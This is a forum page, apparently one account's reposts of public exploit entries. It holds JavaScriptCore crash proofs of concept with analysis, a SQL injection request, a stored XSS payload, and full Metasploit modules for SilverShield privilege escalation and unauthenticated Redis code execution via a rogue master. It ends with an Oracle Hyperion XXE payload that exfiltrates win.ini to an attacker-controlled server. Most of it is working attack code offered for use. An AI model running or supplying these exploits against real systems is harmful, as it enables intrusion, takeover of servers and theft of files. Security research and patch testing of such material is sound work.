
Everything posted by HireHackking
-
macOS / iOS JavaScriptCore - Loop-Invariant Code Motion (LICM) Leaves Object Property Access Unguarded
While fuzzing JavaScriptCore, I encountered the following (modified and commented) JavaScript program which crashes jsc from current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc): function v2(trigger) { // Force JIT compilation. for (let v7 = 0; v7 < 1000000; v7++) { } if (!trigger) { // Will synthesize .length, .callee, and Symbol.iterator. // See ScopedArguments::overrideThings [1] arguments.length = 1; } for (let v11 = 0; v11 < 10; v11++) { // The for-of loop (really the inlined array iterator) will fetch the // .length property after a StructureCheck. However, the property fetch // will be hoisted in front of the outer loop by LICM but the // StructureCheck won't. Then, in the final invocation it will crash // because .length hasn't been synthezised yet (and thus the butterfly // is nullptr). for (const v14 of arguments) { const v18 = {a:1337}; // The with statement here probably prevents escape analysis / // object allocation elimination from moving v18 into the stack, // thus forcing DFG to actually allocate v18. Then, LICM sees a // write to structure IDs (from the object allocation) and thus // cannot hoist the structure check (reading a structure ID) in // front of the loop. with (v18) { } } } } for (let v23 = 0; v23 < 100; v23++) { v2(false); } print("Triggering crash"); v2(true); Here is what appears to be happening: When v2 is optimized by the FTL JIT, it will inline the ArrayIterator.next function for the for-of loop and thus produce the following DFG IR (of which many details were omitted for readability): Block #8 (Before outer loop) ... Block #10 (bc#180): (Outer loop) 104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid) 105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid) Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29): (Inner loop header) 378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid) predicting BoolInt32 Block #17 (bc#487): (Inner loop body) 267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid) 273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid) 274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid) Eventually, the loop-invariant code motion optimization runs [2], changing graph to the following: Block #8 (Before outer loop) ... 105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid) 378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid) predicting BoolInt32 Block #10 (bc#180): (Outer loop) 104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid) Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29): (Inner loop header) Block #17 (bc#487): (Inner loop body) 267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid) 273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid) 274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid) Here, the GetButterfly and GetByOffset operations, responsible for loading the .length property, were moved in front of the StructureCheck which is supposed to ensure that .length can be loaded in this way. This is clearly unsafe and will lead to a crash in the final invocation of the function when .length is not "synthesized" and thus the butterfly is nullptr. To understand why this happens it is necessary to look at the requirements for hoisting operations [3]. One of them is that "The node doesn't read anything that the loop writes.". In this case the CheckStructure operation reads the structure ID from the object ("R:JSCell_structureID" in the IR above) and the PutStructure writes a structure ID ("W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType") as such the check cannot be hoisted because DFG cannot prove that the read value doesn't change in the loop body (note that here the compiler acts conservatively as it could, in this specific instance, determine that the structure ID being written to inside the loop is definitely not the one being read. It doesn't do so and instead only tracks abstract "heap locations" like the JSCell_structureID). However, as no operation in the loop bodies writes to either the JSObject_butterfly or the NamedProperties heap location (i.e. no Butterfly pointer or NamedProperty slot is ever written to inside the loop body), LICM incorrectly determined that the GetButterfly and GetByOffset operations could safely be hoisted in front of the loop body. See also https://bugs.chromium.org/p/project-zero/issues/detail?id=1775 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1789 for more information about the LICM optimization. I suspect that this issue is more general (not limited to just `argument` objects) and allows bypassing of various StructureChecks in the JIT, thus likely being exploitable in many ways. However, I haven't confirmed that.
-
macOS / iOS JavaScriptCore - JSValue Use-After-Free in ValueProfiles
While fuzzing JSC, I encountered the following JS program which crashes JSC from current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc): // Run with --useConcurrentJIT=false --thresholdForJITAfterWarmUp=10 function fullGC() { for (var i = 0; i < 10; i++) { new Float64Array(0x1000000); } } function v62() { function v141() { try { const v146 = v141(); } catch(v147) { const v154 = Object(); function v155(v156,v157,v158) { try { // This typed array gets collected // but is still referenced from the // value profile of TypedArray.values const v167 = new Uint32Array(); const v171 = v167.values(); } catch(v177) { } } const v181 = v155(); } } v141(); function edenGC() { for (let v194 = 0; v194 < 100; v194++) { const v204 = new Float64Array(0x10000); } } const v205 = edenGC(); } for (let i = 0; i < 6; i++) { const v209 = v62(); } fullGC(); If the loop that calls v62 is run 100 instead of 6 times it will also crash without --thresholdForJITAfterWarmUp=10, albeit a bit less reliable. Running this sample will crash JSC in debug builds with an assertion like this: ASSERTION FAILED: structureIndex < m_capacity Source/JavaScriptCore/runtime/StructureIDTable.h(175) : JSC::Structure *JSC::StructureIDTable::get(JSC::StructureID) 1 0x101aadcf9 WTFCrash 2 0x101aadd19 WTFCrashWithSecurityImplication 3 0x10000cb18 JSC::StructureIDTable::get(unsigned int) 4 0x10000ca23 JSC::VM::getStructure(unsigned int) 5 0x10000c7cf JSC::JSCell::structure(JSC::VM&) const 6 0x10001887b JSC::JSCell::structure() const 7 0x10072fc05 JSC::speculationFromCell(JSC::JSCell*) 8 0x10072fd9f JSC::speculationFromValue(JSC::JSValue) 9 0x1006963dc JSC::ValueProfileBase<1u>::computeUpdatedPrediction(JSC::ConcurrentJSLocker const&) ... The crash is due to a JSValue pointing to a previously freed chunk which will have its JSCell header overwritten. As such, it then crashes when accessing the structure table out-of-bounds with the clobbered structure ID. The JSValue that is being accessed is part of a ValueProfile: a data structure attached to bytecode operations which keeps track of input types that have been observed for its operation. During execution in the interpreter or baseline JIT, input types for operations will be stored in their associated ValueProfile as can e.g. be seen in the implementation of the low-level interpreter (LLInt) [1]. This is a fundamental mechanism of current JS engines allowing optimizing JIT compilers (like the DFG and FTL) to speculate about types of variables in the compiled program by inspecting previously observed types collected in these ValueProfiles. A ValueProfile is implemented by the ValueProfileBase C++ struct: struct ValueProfileBase { ... int m_bytecodeOffset; // -1 for prologue unsigned m_numberOfSamplesInPrediction { 0 }; SpeculatedType m_prediction { SpecNone }; EncodedJSValue m_buckets[totalNumberOfBuckets]; }; Here, m_buckets will store the raw JSValues that have been observed during execution. m_prediction in turn will contain the current type prediction [2] for the associated value, which is what the JIT compilers ultimately rely on. The type prediction is regularly computed from the observed values in computeUpdatedPrediction [3]. This raises the question how the JSValues in m_buckets are kept alive during GC, as they are not stored in a MarkedArgumentBuffer [4] or similar (which automatically inform the GC of the objects and thus keep them alive). The answer is that they are in fact not kept alive during GC by the ValueProfiles themselves. Instead, computeUpdatedPrediction [3] is invoked from finalizeUnconditionally [5] at the end of the GC marking phase and will clear the m_buckets array before the pointers might become dangling. Basically, it works like this: * Observed JSValues are simply stored into ValueProfiles at runtime by the interpreter or baseline JIT without informing the GC about these references * Eventually, GC kicks in and starts its marking phase in which it visits all reachable objects and marks them as alive * Afterwards, before sweeping, the GC invokes various callbacks (called "unconditionalFinalizers") [6] on certain objects (e.g. CodeBlocks) * The CodeBlock finalizers update all value profiles, which in turn causes their current speculated type to be merged with the runtime values that were observed since the last update * Afterwards, all entries in the m_buckets array of the ValueProfiles are cleared to zero [7]. As such, the ValueProfiles no longer store any pointers to JSObjects * Finally, the sweeping phase runs and frees all JSCells that have not been marked For some time now, JSC has used lightweight GC cycles called "eden" collections. These will keep mark bits from previous eden collections and thus only scan newly allocated objects, not the entire object graph. As such they are quicker than a "full" GC, but might potentially leave unused ("garbage") objects alive which will only be collected during the next full collection. See also [8] for an in depth explanation of JSC's current garbage collector. As described above, the function finalizeMarkedUnconditionalFinalizers [6] is responsible for invoking some callback on objects that have been marked (and thus are alive) after the marking phase. However, during eden collections this function only iterates over JSCells that have been marked in the *current* eden collection, not any of the previous ones *. As such, it is possible that a CodeBlock has been marked in a previous eden collection (and is thus still alive), but hasn't been marked in the current one and will thus not be "unconditionally finalized". In that case, its ValueProfile will not be cleared and will still potentially contain pointers to various JSObjects, which, however, aren't protected from GC and thus might be freed by it. This is what happens in the program above: the TypedArray.values function is a JS builtin [9] and will thus be JIT compiled. At the time of the crash it will be baseline JIT compiled and thus store the newly allocated Uint32Array into one of its ValueProfile [10]. Directly afterwards, the compiled code raises another stack overflow exception [11]. As such, the Uint32Array is not used any further and no more references to it are taken which could protect it from GC. As such, the array will be collected during the next (eden) GC round. However, the CodeBlock for TypedArray.values was already marked in a previous eden collection and will not be finalized, thus leaving the pointer to the freed TypedArray dangling in the ValueProfile. During the next full GC, the CodeBlock is again "unconditionally finalized" and will then inspects its m_buckets, thus crashing when using the freed JSValue. The infinite recursion and following stack overflow exceptions in this sample might be necessary to force a situation in which the newly allocated Uint32Array is only stored into a profiling slot and nowhere else. But maybe they are also simply required to cause the right sequence of GC invocations.
-
WebIncorp ERP - SQL injection
# Exploit Title: WebIncorp ERP - SQL injection # Date: 1.8.2019. # Exploit Author: n1x_ [MS-WEB] # Vendor Homepage: https://www.webincorp.com/products/erp-software-qatar # Version: Every version # CWE : CWE-89 Vulnerable parameter: prod_id (product_detail.php) [GET Request] GET https://host/product_detail.php?prod_id=x' HTTP/1.1 Accept: text/html, application/xhtml+xml, application/xml; q=0.9, */*; q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Cache-Control: max-age=0 Cookie: PHPSESSID=t57dv7rdsvut33jroled9v6435 Host: host Referer: https://host/ Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362
-
Ultimate Loan Manager 2.0 - Cross-Site Scripting
# Exploit Title:Web Studio Ultimate Loan Manager V2.0 - Persistent Cross Site Scripting # Exploit Author: Metin Yunus Kandemir (kandemir) # Vendor Homepage: http://www.webstudio.co.zw/ # Software Link: https://codecanyon.net/item/ultimate-loan-manager/19891884 # Version: V2.0 # Category: Webapps # Software Description : Ultimate Loan Manager is an online loam management system that allows lending businesses to manage their borrowers, loans, repayments, and collections with ease while being affordable at the same time. # CVE : CVE-2019-14427 ================================================================== #Description:XSS exists in WEB STUDIO Ultimate Loan Manager 2.0 by adding a branch under the Branches button that sets the notes parameter with crafted JavaScript code. POST /branch/store HTTP/1.1 Host: target User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://target/branch/create Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: XSRF-TOKEN=eyJpdiI6Imk3Y3llMlBkM0xOUHJNQ1NqYjg2dGc9PSIsInZhbHVlIjoiTmkxMlBlYnVTaHJYR0NZWWxNNEFrSE9PQ3UyUlA5OUg0eU1XUGoxWGR1UUJQbWk2KzRQVVhRTUhEMzBTWkVDMCIsIm1hYyI6Ijk0MGQxN2VhNGQzZDBhZjI4YTg4M2VkODE0NTVhNDFjNmM4MDEwM2U1NGQyOTM3N2FhZDZjMjdjNTUxYjE5ZDMifQ%3D%3D; laravel_session=U1GDgNLtFJQDdPa2jK8rb1vjWE6mkZ6XwrH0PxE7 Connection: close Upgrade-Insecure-Requests: 1 _token=P31Y1Y1VoVj1yaN3lpSQfssubgRXYszMUpilyYSu&name=test¬es=%3cscript%3ealert(1)%3c%2fscript%3e
-
SilverSHielD 6.x - Local Privilege Escalation
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Exploit Title: extenua SilverSHielD 6.x local priviledge escalation # Google Dork: na # Date: 31 Jul 2019 # Exploit Author: Ian Bredemeyer # Vendor Homepage: https://www.extenua.com # Software Link: https://www.extenua.com/silvershield # Version: 6.x # Tested on: Windows7 x64, Windows7 x86, Windows Server 2012 x64, Windows10 x64, Windows Server 2016 x64 # CVE: CVE-2019-13069 # More Info: https://www.fobz.net/adv/ag47ex/info.html require 'sqlite3' require 'net/ssh' require 'net/ssh/command_stream' require 'tempfile' require 'securerandom' require 'digest' class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Post::File include Msf::Exploit::Remote::SSH include Msf::Post::Windows::Services include Msf::Post::Windows::FileInfo def initialize(info={}) super( update_info(info, 'Name' => 'Extenua SilverSHielD 6.x local privilege escalation', 'Description' => %q{ Extenua SilverShield 6.x fails to secure its ProgramData subfolder. This module exploits this by injecting a new user into the database and then using that user to login the SSH service and obtain SYSTEM. This results in to FULL SYSTEM COMPROMISE. At time of discolsure, no fix has been issued by vendor. }, 'Author' => [ 'Ian Bredemeyer', ], 'Platform' => [ 'win','unix' ], # 'unix' is needed, otherwise the Payload is flagged as incompatible 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Universal', {} ], ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2019-13069' ], [ 'URL', 'https://www.fobz.net/adv/ag47ex/info.html' ], [ 'URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13069' ] ], 'DisclosureDate'=> "Jul 31 2019", 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, )) register_options([ OptPort.new('PF_PORT', [ true, 'Local port to PortFwd to victim', 20022 ]), OptString.new('SS_IP', [ false, 'IP address SilverShield is listening on at the victim. Leave blank to detect.', '' ]), OptPort.new('SS_PORT', [ false, 'Port SilverShield is listening on at the victim. Leave at 0 to detect.', 0 ]), OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 15]) ]) end # Grabbed this bit from another exploit I was pulling apart... Need to trick the SSH session a bit module ItsAShell def _check_shell(*args) true end end # helper methods that normally come from Tcp def rhost return '127.0.0.1' end def rport datastore['PF_PORT'] end # Does a basic check of SilverShield... Does not fail if there is a problem, but will return false def do_check_internal() looks_ok = true # lets assume everything is OK... # Try to get the path of the SilverShield service... ss_serviceinfo = service_info("SilverShield") ss_servicepath = ss_serviceinfo[:path] if (ss_servicepath == '') print_warning("Vulnerable Silvershield service is likely NOT running on the target system") looks_ok = false else print_good("Silvershield service found: " + ss_servicepath) end # Try to read the version of Silvershield from the resigstry of the victim... ss_version = "" begin ss_version = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\\extenua\\SilverShield', KEY_READ).query_value("Version").data rescue ::Exception => e print_warning "Cannot find SilverShield version in registry. Victim may not have vulnerable SilverShield installed" looks_ok = false end if ss_version != "" print_good("Silvershield version from registry: " + ss_version) if ss_version[0..1] != "6." # If not version "6." something ? then this will not work... print_warning("This version is not likely vulnerable to this module") looks_ok = false end end return looks_ok end # Attempts a single SSH login to the victim via the local port forwarded to fictim. Returns valid connection if OK def do_login() factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies']) opt_hash = { :auth_methods => ['password'], :port => rport, :use_agent => false, :config => false, :proxy => factory, :password => @@the_password, :non_interactive => true, :verify_host_key => :never } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh_socket = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh_socket = Net::SSH.start(rhost, 'haxor4', opt_hash) end rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return end if ssh_socket # Create a new session from the socket, then dump it. conn = Net::SSH::CommandStream.new(ssh_socket) ssh_socket = nil return conn else return false end end # Attempts several times to connect through session back to SilverShield as haxor then open resulting shell as a new session. def exploit_sub x = 0 while x < 5 do x = x + 1 print_status "SSH login attempt " + x.to_s + ". May take a moment..." conn = do_login() if conn print_good "Successful login. Passing to handler..." handler(conn.lsock) return true end end return false end def check() if do_check_internal Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end # The guts of it... def exploit # Some basic setup... payload_instance.extend(ItsAShell) factory = ssh_socket_factory # Do a quick check... well, sort of, just shows info. We won't stop, just report to user... do_check_internal() # We will generate a NEW password and salt. Then get the relevant hash to inject... @@the_password = SecureRandom.hex @@the_password_salt = SecureRandom.hex[0..7] @@the_password_hash = Digest::MD5.hexdigest @@the_password_salt + @@the_password vprint_status("generated- user:haxor4 password:" + @@the_password + " salt:" + @@the_password_salt + " => hash(md5):" + @@the_password_hash) # Get a tempfile on the local system. Garbage collection will automaticlly kill it off later... # This is a temp location where we will put the sqlite database so we can work on it on the local machine... tfilehandle = Tempfile.new('ss.db.') tfilehandle.close wfile = tfilehandle.path #Try to get the ProgramData path from the victim, this is where the SQLite databasae is held... progdata = session.fs.file.expand_path("%ProgramData%") # client.sys.config.getenv('PROGRAMDATA') print_status 'Remote %ProgramData% = ' + progdata # Lets check the file exists, then download from the victim to the local file system... filecheck = progdata + '\SilverShield\SilverShield.config.sqlite' fsrc = filecheck fdes = wfile print_status 'Try download: ' + fsrc + ' to: ' + fdes begin ::Timeout.timeout(5) do session.fs.file.download_file(fdes, fsrc) end rescue ::Exception => e print_error "Cannot download #{fsrc} to #{fdes} #{e.class} : #{e.message}" print_error "Does victim even have vulnerable SilverShield installed ?" fail_with(Failure::Unknown, "Fail download") end # Try to connect with sqlite locally... vprint_status 'Trying to open database ' + wfile db = SQLite3::Database.open wfile # Remove haxor4 if its already there, just incase by pure chance a user with that name already exists... vprint_status 'remove user "haxor4" if its already in there...' results = db.execute "delete from USERS where vcusername='haxor4'" answer = "" results.each { |row| answer = answer + row.join(',') } # Insert the haxor user... we will use this later to connect back in as SYSTEM vprint_status 'insert user "haxor4" with password "' + @@the_password + '" into database' results = db.execute "INSERT INTO USERS (CUSERID, VCUSERNAME, CSALT,CPASSWORD, VCHOMEDIR, BGETFILE, BPUTFILE, BDELFILE, BMODFILE, BRENFILE, BLISTDIR, BMAKEDIR, BDELDIR, BRENDIR, IAUTHTYPES, BAUTHALL, BALLOWSSH, BALLOWSFTP, BALLOWFWD, BALLOWDAV, IACCOUNTSTATUS, BAUTODISABLE, DTAUTODISABLE, BWINPASSWD, BISADMIN)VALUES(\"{11112222-3333-4444-5555666677778888}\",\"haxor4\",\"" + @@the_password_salt + "\",\"" + @@the_password_hash + "\",\"c:\\\",1,1,1,1,1,1,1,1,1,20,0,1,0,0,0,0,0,-700000.0, 0, 1);" answer = "" results.each { |row| answer = answer + row.join(',') } print_good 'user inserted OK' # Dump out local port that SilverShield has been configured to listen on at the victim machine... results = db.execute "select IPORT from maincfg" answer = "" results.each { |row| answer = answer + row.join(',') } ss_port = answer print_status "SilverShield config shows listening on port: " + ss_port if (datastore['SS_PORT'] != 0) ss_port = datastore['SS_PORT'].to_s print_status "SS_PORT setting forcing port to " + ss_port end if (ss_port == '') ss_port = '22' end # Dump out local IP that SilverShield has been configured to listen on at the victim machine... results = db.execute "select CBINDIP from maincfg" answer = "" results.each { |row| answer = answer + row.join(',') } ss_ip = answer print_status "SilverShield config shows listening on local IP: " + ss_ip if (datastore['SS_IP'] != '') ss_ip = datastore['SS_IP'] print_status "SS_IP setting forcing IP to " + ss_ip end # If the override AND the detection have come up with nothing, then use the default 127.0.0.1 if (ss_ip == '') ss_ip = '127.0.0.1' end # Close the database. Keep it neat db.close # Now lets upload this file back to the victim...due to bad folder permissions, we can sneak our bad config back in. Yay fdes = filecheck fsrc = wfile print_status 'Sending modded file back to victim' begin ::Timeout.timeout(5) do session.fs.file.upload_file(fdes, fsrc) end rescue ::Exception => e print_error "Cannot upload #{fsrc} to #{fdes} #{e.class} : #{e.message}" print_error "Perhaps this server is not vulnerable or has some other mitigation." fail_with(Failure::Unknown, "Fail upload") end sleep 4 # wait a few seconds... this gives the SilverShield service some time to see the settings have changed. # Delete the port if its already pointing somewhwere... This a bit ugly and may generate an error, but I don't care. client.run_cmd("portfwd delete -l " + datastore['PF_PORT'].to_s) # Forward a local port through to the ssh port on the victim. client.run_cmd("portfwd add -l " + datastore['PF_PORT'].to_s + " -p " + ss_port + " -r " + ss_ip) # Now do ssh work and hand off the session to the handler... exploit_sub end end
-
Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::TcpServer include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper include Msf::Auxiliary::Redis def initialize(info = {}) super(update_info(info, 'Name' => 'Redis Unauthenticated Code Execution', 'Description' => %q{ This module can be used to leverage the extension functionality added by Redis 4.x and 5.x to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis which called replication between master and slave. }, 'License' => MSF_LICENSE, 'Author' => [ 'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module ], 'References' => [ [ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'], [ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK'] ], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ ['Automatic', {} ], ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'SRVPORT' => '6379' }, 'Privileged' => false, 'DisclosureDate' => 'Nov 13 2018', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ SERVICE_RESOURCE_LOSS], 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ] }, )) register_options( [ Opt::RPORT(6379), OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true]) ] ) register_advanced_options( [ OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']), OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']), OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.']) ] ) deregister_options('URIPATH', 'THREADS', 'SSLCert') end # # Now tested on redis 4.x and 5.x # def check connect # they are only vulnerable if we can run the CONFIG command, so try that return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/ if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data report_redis(redis_version) end Exploit::CheckCode::Vulnerable ensure disconnect end def exploit if check_custom @module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8) @module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}" else @module_init_name = 'shell' @module_cmd = 'shell.exec' end if srvhost == '0.0.0.0' fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.') end # # Prepare for payload. # # 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable. # It's only worked on linux system. # # 2. Use compiled payload, it's avaiable on all OS, however more detectable. # if check_custom buf = create_payload generate_code_file(buf) compile_payload end connect # # Send the payload. # redis_command('SLAVEOF', srvhost, srvport.to_s) redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}") ::IO.select(nil, nil, nil, 2.0) # start the rogue server start_rogue_server # waiting for victim to receive the payload. Rex.sleep(1) redis_command('MODULE', 'LOAD', "./#{module_file}") redis_command('SLAVEOF', 'NO', 'ONE') # Trigger it. print_status('Sending command to trigger payload.') pull_the_trigger # Clean up Rex.sleep(2) register_file_for_cleanup("./#{module_file}") #redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb') #redis_command('MODULE', 'UNLOAD', "#{@module_init_name}") ensure disconnect end # # We pretend to be a real redis server, and then slave the victim. # def start_rogue_server socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport}) print_status("Listening on #{srvhost}:#{srvport}") rsock = socket.accept() vprint_status('Accepted a connection') # Start negotiation while true request = rsock.read(1024) vprint_status("in<<< #{request.inspect}") response = "" finish = false case when request.include?('PING') response = "+PONG\r\n" when request.include?('REPLCONF') response = "+OK\r\n" when request.include?('PSYNC') || request.include?('SYNC') response = "+FULLRESYNC #{'Z'*40} 1\r\n" response << "$#{payload_bin.length}\r\n" response << "#{payload_bin}\r\n" finish = true end if response.length < 200 vprint_status("out>>> #{response.inspect}") else vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}") end rsock.put(response) if finish print_status('Rogue server close...') rsock.close() socket.close() break end end end def pull_the_trigger if check_custom redis_command("#{@module_cmd}") else execute_cmdstager end end # # Parpare command stager for the pre-compiled payload. # And the command of module is hard-coded. # def execute_command(cmd, opts = {}) redis_command('shell.exec',"#{cmd.to_s}") rescue nil end # # Generate source code file of payload to be compiled dynamicly. # def generate_code_file(buf) template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb')) File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))} end def compile_payload make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile') vprint_status("Clean old files") vprint_status(%x|make -C #{File.dirname(make_file)}/rmutil clean|) vprint_status(%x|make -C #{File.dirname(make_file)} clean|) print_status('Compile redis module extension file') res = %x|make -C #{File.dirname(make_file)} -f #{make_file} && echo true| if res.include? 'true' print_good("Payload generated successfully! ") else print_error(res) fail_with(Failure::BadConfig, 'Check config of gcc compiler.') end end # # check the environment for compile payload to so file. # def check_env # check if linux return false unless %x|uname -s 2>/dev/null|.include? "Linux" # check if gcc installed return false unless %x|command -v gcc && echo true|.include? "true" # check if ld installed return false unless %x|command -v ld && echo true|.include? "true" true end def check_custom return @custom_payload if @custom_payload @custom_payload = false @custom_payload = true if check_env && datastore['CUSTOM'] @custom_payload end def module_file return @module_file if @module_file @module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so" end def create_payload p = payload.encoded Msf::Simple::Buffer.transform(p, 'c', 'buf') end def payload_bin return @payload_bin if @payload_bin if check_custom @payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so')) else @payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so')) end @payload_bin end end
-
Oracle Hyperion Planning 11.1.2.3 - XML External Entity
- Exploit Title: XXE Injection Oracle Hyperion - Exploit Author: Lucas Dinucci (idntk.lucdin@gmail.com) - Twitter: @identik1t - Vendor Homepage: https://www.oracle.com/applications/performance-management - Date: 02/11/2019 - Affected Product: Oracle Hyperion Enterprise Performance Management System - Version: 11.1.2.3 - CVE: CVE-2019-2861 - Patch: https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html - Vulnerability Type: https://cwe.mitre.org/data/definitions/611.html # XML External Entity (XXE) Injection The event.pt1:pt_region0:1:pc2:fvtbl, event.pt1:pt_region0:1:findBtn1 and oracle.adf.view.rich.monitoring.UserActivityInfo parameters are prone to XXE injection. An authenticated attacker could exploit this vulnerability to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution and denial of service attacks. Path: http://host:19000/calcmgr/faces/cmshell?_adf.ctrl-state=i38w0cig2_4 Parameters: event.pt1:pt_region0:1:pc2:fvtbl, event.pt1:pt_region0:1:findBtn1 and oracle.adf.view.rich.monitoring.UserActivityInfo (POST REQUEST) # Proof-of-concept 1 - Create a file and name it as xxe_poc with the following content, replacing with your server address: <!ENTITY % payload SYSTEM "file:///c:\\Windows\\win.ini"> <!ENTITY % param1 "<!ENTITY % external SYSTEM 'http://your_server_address/log_xxe?data=%payload;'>"> 2 - Start a webserver to receive the connection, such as: sudo python -m SimpleHTTPServer 80 3 - Place the following payload in one of the vulnerable parameters, replacing with your server address: <!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://your_server_address/xxe_poc"> %pe; %param1; %external;]><m 